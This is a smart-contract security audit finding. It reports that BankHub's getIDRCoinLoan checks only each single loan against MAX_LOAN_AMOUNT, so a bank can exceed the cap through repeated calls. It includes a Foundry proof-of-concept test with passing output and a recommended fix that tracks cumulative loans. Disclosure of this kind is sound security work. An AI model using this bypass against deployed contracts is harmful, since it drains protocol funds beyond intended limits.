# [H-03] The whitelisted bank can arbitrarily loan an amount exceeding the `MAX_LOAN_AMOUNT` in the `BankHub::getIDRCoinLoan` function through multiple calls.

## Submitter

ZafiN

## Finding description and impact

The issue in the implementation of the IDR Coin loan is that a malicious bank could repeatedly call `getIDRCoinLoan`, allowing them to borrow more than the intended limit, which is the `MAX_LOAN_AMOUNT`.

## Proof of Concept


```js
    // bank function
    // get IDRCoin for bank reserve
    function getIDRCoinLoan(
        address _bank,
        uint256 _amount
    ) external onlyWhiteListed {
        require(msg.sender == _bank, ""only bank can receive loan from BankHub"");
        if (_amount < MIN_LOAN_AMOUNT) {
            revert insufficientLoanAmount();
        }
        if (_amount > MAX_LOAN_AMOUNT) {
            revert insufficientLoanAmount();
        }

        idrcoin.mint(_bank, _amount);
    }
```

Based on the `getIDRCoinLoan` function, there is improper input validation that does not check how much IDRCoin the bank has already borrowed and whether it has exceeded the `MAX_LOAN_AMOUNT`.  Malicious bank can call the `getIDRCoinLoan` function multiple times, allowing it to exceed the MAX_LOAN_AMOUNT limit set intended by the protocol.

To verify this findings, add the following test to `Base.t.sol`:

```js
    function test_bankCanLoanExceedingMaxLoanAmount() public {
        vm.startPrank(bankABC);

        uint256 maxAmountToLoan = 100e18;

        // will revert if bank loan with amount exceeding MAX_LOAN_AMOUNT;
        vm.expectRevert();
        bankHub.getIDRCoinLoan(bankABC, 10 * maxAmountToLoan);
        
        uint256 maxAmountWithTax = maxAmountToLoan - (maxAmountToLoan * idrCoin.TAX() / idrCoin.DENOMINATOR());

        // However, it does not revert if the bank loans the same amount as before, but partitions it across multiple calls (each call loans the maximum amount).
        for(uint256 i = 0; i < 10; i++) {
            bankHub.getIDRCoinLoan(bankABC, maxAmountToLoan);
        }

        vm.stopPrank();

        // assert
        assertEq(idrCoin.balanceOf(bankABC), 10 * maxAmountWithTax); // Allows the bank to loan an amount exceeding the MAX_LOAN_AMOUNT, bypassing the protocol's intended limit.
    }
```

then run `forge test --mt test_bankCanLoanExceedingMaxLoanAmount -vvv`. the exploit test would PASS:

```bash
[â ’] Compiling...
No files changed, compilation skipped

Ran 1 test for test/Base.t.sol:Base
[PASS] test_bankCanLoanExceedingMaxLoanAmount() (gas: 124998)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.85ms (4.59ms CPU time)

Ran 1 test suite in 28.03ms (5.85ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

## Recommended mitigation steps

Add a mapping state variable to track the loan amount for each bank and implement a restriction in the `getIDRCoinLoan` function to ensure the total loan amount does not exceed the `MAX_LOAN_AMOUNT`, as shown in the code below:

```diff
diff --git a/src/BankHub.sol b/src/BankHub.sol
index c9b6d40..8b7715e 100644
--- a/src/BankHub.sol
+++ b/src/BankHub.sol

@@ -115,7 +116,11 @@ contract BankHub{
    // mappings
    mapping(address => bool) public whiteListed;
    mapping(address => uint32) public interestRate;
    mapping(address => uint256) public depositTimestamp;
    mapping(address => uint256) public savingAmount;
+   mapping(address => uint256) public amountLoan;
     }

```

```diff
diff --git a/src/BankHub.sol b/src/BankHub.sol
index c9b6d40..8b7715e 100644
--- a/src/BankHub.sol
+++ b/src/BankHub.sol

@@ -115,7 +116,11 @@ contract BankHub{
    // bank function
    // get IDRCoin for bank reserve
    function getIDRCoinLoan(
        address _bank,
        uint256 _amount
    ) external onlyWhiteListed {
        require(msg.sender == _bank, ""only bank can receive loan from BankHub"");
+       require(amountLoan[_bank] + _amount <= MAX_LOAN_AMOUNT, ""cant exceed MAX_LOAN_AMOUNT"");
        if (_amount < MIN_LOAN_AMOUNT) {
            revert insufficientLoanAmount();
        }
        if (_amount > MAX_LOAN_AMOUNT) {
            revert insufficientLoanAmount();
        }

+       amountLoan[_bank] += _amount;
        idrcoin.mint(_bank, _amount);
    }
     }

```
